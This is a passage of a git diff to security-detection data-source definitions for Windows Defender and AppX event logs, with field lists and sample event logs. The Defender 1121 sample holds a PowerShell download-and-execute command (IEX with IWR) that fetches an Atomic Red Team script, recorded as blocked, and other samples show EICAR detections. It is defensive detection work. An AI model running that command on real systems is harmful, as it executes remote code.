PackageDisplayName + - PackageFlags + - PackageFlags2 + - PackageFullName + - packageFullName + - PackageList + - PackageMoniker + - PackageName + - PackageSourceUri + - PackageType + - Path - ProcessID + - punct - RecordNumber - - SourceName - - SystemTime + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task - TaskCategory - ThreadID - - Version - - _time - - dest - - host - - packageFullName + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.appdeploynews.com/packaging-types/msix/troubleshooting-an-msix-package/ - https://redcanary.com/blog/msix-installers/ -example_log: 17104000x4000000000000000123456Microsoft-Windows-AppXPackaging/OperationalDESKTOP-EXAMPLEMaliciousApp_1.0.0.0_x64__abcd1234 +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_defender_1116.yml b/data_sources/windows_event_log_defender_1116.yml index 8be3dfc440..5d4ff4dee4 100644 --- a/data_sources/windows_event_log_defender_1116.yml +++ b/data_sources/windows_event_log_defender_1116.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1116 id: 588d6a99-14eb-4061-aec3-55cc54d11d6b -version: 1 +version: 2 creation_date: '2026-08-17' -modification_date: '2026-08-17' +modification_date: '2026-10-14' author: Onur Mustafa Erdogan, Splunk description: Logs an event when a Windows Defender detects a malware or potentially unwanted software. mitre_components: @@ -19,15 +19,19 @@ supported_TA: version: 11.0.3 fields: - _time + - action - Action_ID - Action_Name - ActivityID - Additional_Actions_ID - Additional_Actions_String + - category - Category_ID - Category_Name - Channel - Computer + - date + - dest - Detection_ID - Detection_Time - Detection_User @@ -44,11 +48,16 @@ fields: - eventtype - Execution_ID - Execution_Name + - file_name + - file_path - FWLink - Guid + - host - id + - index - Keywords - Level + - linecount - Name - Opcode - Origin_ID @@ -60,30 +69,42 @@ fields: - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - Security_intelligence_Version - severity - Severity_ID - severity_id - Severity_Name + - signature - signature_id + - source - Source_ID - Source_Name + - sourcetype - splunk_server + - src_user - State - Status_Code - System_Props_Xml - SystemTime - tag + - tag::eventtype - Task - TaskCategory - ThreadID - Threat_ID - Threat_Name + - timestamp - Type_ID - Type_Name + - url + - user - user_id - UserID - vendor_product + - vendor_severity - Version -example_log: "111603000x80000000000000001799Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0111UserUnknownEC2AMAZ-FKEOM7G\\Administratorcontainerfile:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN; file:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN->eicar.com2Network share0Unknown0Concrete09Not Applicable0x00000000The operation completed successfully. 00No additional actions requiredAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7" +example_log: | + 111603000x80000000000000001799Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0111UserUnknownEC2AMAZ-FKEOM7G\Administratorcontainerfile:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN; file:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN->eicar.com2Network share0Unknown0Concrete09Not Applicable0x00000000The operation completed successfully. 00No additional actions requiredAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7 diff --git a/data_sources/windows_event_log_defender_1117.yml b/data_sources/windows_event_log_defender_1117.yml index b7ffdd9830..e4283adc5b 100644 --- a/data_sources/windows_event_log_defender_1117.yml +++ b/data_sources/windows_event_log_defender_1117.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1117 id: c620d5f3-53d6-4697-abf5-b2c8434e7ff9 -version: 1 +version: 2 creation_date: '2026-08-17' -modification_date: '2026-08-17' +modification_date: '2026-10-14' author: Onur Mustafa Erdogan, Splunk description: Logs an event when a Windows Defender takes an action against detected threat. mitre_components: @@ -19,14 +19,19 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - Action_ID - Action_Name - ActivityID - Additional_Actions_ID - Additional_Actions_String + - category - Category_ID - Category_Name - Channel - Computer + - date + - dest - Detection_ID - Detection_Time - Detection_User @@ -36,7 +41,6 @@ fields: - Error_Code - Error_Description - event_id - - EventAction_ID - EventCode - EventData_Xml - EventID @@ -44,12 +48,16 @@ fields: - eventtype - Execution_ID - Execution_Name + - file_name + - file_path - FWLink - Guid - host - id + - index - Keywords - Level + - linecount - Name - Opcode - Origin_ID @@ -61,6 +69,8 @@ fields: - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - Remediation_User - Security_intelligence_Version @@ -68,26 +78,34 @@ fields: - Severity_ID - severity_id - Severity_Name + - signature - signature_id - source - Source_ID - Source_Name - sourcetype - splunk_server + - src_user - State - Status_Code - System_Props_Xml - SystemTime - tag + - tag::eventtype - Task - TaskCategory - ThreadID - Threat_ID - Threat_Name + - timestamp - Type_ID - Type_Name + - url + - user - user_id - UserID - vendor_product + - vendor_severity - Version -example_log: "111704000x80000000000000001800Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0321UserUnknownEC2AMAZ-FKEOM7G\\Administratorcontainerfile:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN; file:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN->eicar.com2Network share0Unknown0Concrete02Quarantine0x00000000The operation completed successfully. 00No additional actions requiredEC2AMAZ-FKEOM7G\\AdministratorAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7" +example_log: | + 111704000x80000000000000001800Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0321UserUnknownEC2AMAZ-FKEOM7G\Administratorcontainerfile:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN; file:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN->eicar.com2Network share0Unknown0Concrete02Quarantine0x00000000The operation completed successfully. 00No additional actions requiredEC2AMAZ-FKEOM7G\AdministratorAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7 diff --git a/data_sources/windows_event_log_defender_1121.yml b/data_sources/windows_event_log_defender_1121.yml index 9c345f89e1..c095f50d7d 100644 --- a/data_sources/windows_event_log_defender_1121.yml +++ b/data_sources/windows_event_log_defender_1121.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1121 id: 84a254c5-7900-4b52-a324-a176adb7c11d -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a Windows Defender attack surface reduction rule fires in block mode. mitre_components: @@ -20,57 +20,88 @@ supported_TA: fields: - _time - ActivityID + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName + - Message + - meta - Name - - New_Value - - Old_Value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - RuleType - Security_intelligence_Version - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - ThreadID - - User - - UserID - - Version - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id + - Sid + - SidType + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product -example_log: 112103000x80000000000000002975Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.20093B576869-A4EC-4529-8536-B80A7769E8992023-11-20T16:29:48.984Zresearchvmhaa\researchC:\Users\research\AppData\Local\Temp\script.vbsC:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE1.401.912.01.1.23100.2009ENT\ConsR"C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" 0x00000000 + - Version +example_log: | + 112103000x80000000000000002961Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D4F940AB-401B-4EFC-AADC-AD5F3C50688A2023-11-20T15:42:14.127Zresearchvmhaa\researchC:\Windows\System32\cmd.exeC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE1.401.908.01.1.23100.2009ENT\ConsRcmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\research\Desktop\macs\mac6.xls"C:\Users\research\Desktop\macs\mac6.xls0x00000000 diff --git a/data_sources/windows_event_log_defender_1122.yml b/data_sources/windows_event_log_defender_1122.yml index 2944fc6126..1d56905753 100644 --- a/data_sources/windows_event_log_defender_1122.yml +++ b/data_sources/windows_event_log_defender_1122.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1122 id: 4a2d0499-f489-4557-82f4-f357025cf3e7 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a process attempts to load a DLL that is blocked by an attack surface reduction rule. mitre_components: @@ -20,54 +20,84 @@ supported_TA: fields: - _time - ActivityID + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Keywords - Level + - linecount + - LogName + - Message - Name + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - punct - RecordNumber - RuleType - Security_intelligence_Version - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - ThreadID - - User - - UserID - - Version - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id + - Sid + - SidType + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp + - timestartpos + - Type + - User + - user - user_id - - vendor_product -example_log: 112204000x80000000000000003701Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009E6DB77E5-3DF2-4CF1-B95A-636979351E5B2023-11-26T23:43:08.709Z(unknown user)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1.401.1247.01.1.23100.2009ENT\ConsRC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x00000000 + - UserID + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1125.yml b/data_sources/windows_event_log_defender_1125.yml index 18308e1477..2f59c884a8 100644 --- a/data_sources/windows_event_log_defender_1125.yml +++ b/data_sources/windows_event_log_defender_1125.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1125 id: 0cddda76-6fd8-4fb6-9026-f23a2761c95d -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1125 source: XmlWinEventLog:Security @@ -14,4 +14,93 @@ supported_TA: version: 11.0.3 fields: - _time -example_log: 112204000x80000000000000003701Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009E6DB77E5-3DF2-4CF1-B95A-636979351E5B2023-11-26T23:43:08.709Z(unknown user)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1.401.1247.01.1.23100.2009ENT\ConsRC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x00000000 + - ActivityID + - category + - Channel + - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - Detection_Time + - Detection_time + - dvc + - dvc_nt_host + - Engine_Version + - event_id + - EventCode + - EventData_Xml + - EventID + - EventRecordID + - EventType + - eventtype + - file_name + - file_path + - Guid + - host + - ID + - id + - index + - Inheritance_Flags + - Inhertiance_Flags + - Involved_File + - Keywords + - Level + - linecount + - LogName + - Message + - meta + - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode + - Opcode + - Parent_Commandline + - Path + - Process_Name + - ProcessID + - Product_Name + - Product_Version + - product_version + - punct + - RecordNumber + - RuleType + - Security_intelligence_Version + - severity + - severity_id + - Sid + - SidType + - signature + - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos + - timestamp + - timestartpos + - Type + - User + - user + - user_id + - UserID + - vendor_product + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1126.yml b/data_sources/windows_event_log_defender_1126.yml index 43fc814187..555c294a65 100644 --- a/data_sources/windows_event_log_defender_1126.yml +++ b/data_sources/windows_event_log_defender_1126.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1126 id: c1c6284b-b663-4001-bdf2-c0cacee22a2a -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1126 source: XmlWinEventLog:Security @@ -15,88 +15,92 @@ supported_TA: fields: - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype -example_log: '' + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1129.yml b/data_sources/windows_event_log_defender_1129.yml index 4ba86029d7..12c707ebb5 100644 --- a/data_sources/windows_event_log_defender_1129.yml +++ b/data_sources/windows_event_log_defender_1129.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1129 id: 0572e119-a48a-4c70-bc58-90e453edacd2 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user overrides a security policy set by an Attack Surface Reduction rule in Microsoft Defender. mitre_components: @@ -19,24 +19,9 @@ supported_TA: version: 11.0.3 fields: - _time - - ComputerName - - EventCode - - EventType - - ID - - Keywords - - LogName - - Message - - OpCode - - Path - - Process_Name - - RecordNumber - - Sid - - SidType - - SourceName - - TaskCategory - - Type - - User - category + - ComputerName + - date - date_hour - date_mday - date_minute @@ -45,23 +30,59 @@ fields: - date_wday - date_year - date_zone + - dest - dvc_nt_host - event_id + - EventCode + - EventType - eventtype + - file_name + - file_path - host + - ID - id - index + - Keywords - linecount + - LogName + - Message + - OpCode + - Path + - Process_Name - punct - - severity - - severity_id + - RecordNumber + - Sid + - SidType - signature_id - source - sourcetype - splunk_server - tag - tag::eventtype + - TaskCategory - timeendpos - timestartpos - - vendor_product -example_log: '' + - Type + - User + - user +example_log: | + 11/17/2023 05:23:37 PM + LogName=Microsoft-Windows-Windows Defender/Operational + EventCode=1129 + EventType=4 + ComputerName=researchvmhaa + User=NOT_TRANSLATED + Sid=S-1-5-18 + SidType=0 + SourceName=Microsoft-Windows-Windows Defender + Type=Information + RecordNumber=2360 + Keywords=None + TaskCategory=None + OpCode=Info + Message=A user has allowed a blocked Microsoft Defender Exploit Guard operation. + ID: D1E49AAC-8F56-4280-B9BA-993A6D77406C + User: NT AUTHORITY\SYSTEM + Path: C:\Windows\System32\cmd.exe + Process Name: C:\Windows\PSEXESVC.exe + Involved File: diff --git a/data_sources/windows_event_log_defender_1131.yml b/data_sources/windows_event_log_defender_1131.yml index e38fadd8e0..a07aac4c5d 100644 --- a/data_sources/windows_event_log_defender_1131.yml +++ b/data_sources/windows_event_log_defender_1131.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1131 id: 638f884e-439a-4328-923c-ec5a2679f450 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1131 source: XmlWinEventLog:Security @@ -13,90 +13,94 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time -example_log: '' + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1132.yml b/data_sources/windows_event_log_defender_1132.yml index ef1a010606..d25543e35e 100644 --- a/data_sources/windows_event_log_defender_1132.yml +++ b/data_sources/windows_event_log_defender_1132.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1132 id: 18f93f60-4eca-46e8-a29d-147e6451a34c -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1132 source: XmlWinEventLog:Security @@ -13,90 +13,94 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time -example_log: '' + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1133.yml b/data_sources/windows_event_log_defender_1133.yml index 90d22162d6..7e0791c63e 100644 --- a/data_sources/windows_event_log_defender_1133.yml +++ b/data_sources/windows_event_log_defender_1133.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1133 id: 63c97a9a-cc7f-46c5-b219-8be388666637 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1133 source: XmlWinEventLog:Security @@ -13,90 +13,94 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time -example_log: '' + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1134.yml b/data_sources/windows_event_log_defender_1134.yml index 59d8d06984..ba350d121f 100644 --- a/data_sources/windows_event_log_defender_1134.yml +++ b/data_sources/windows_event_log_defender_1134.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1134 id: 26abac7d-d026-44e9-b1a3-13e3e11b232d -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1134 source: XmlWinEventLog:Security @@ -13,90 +13,94 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time 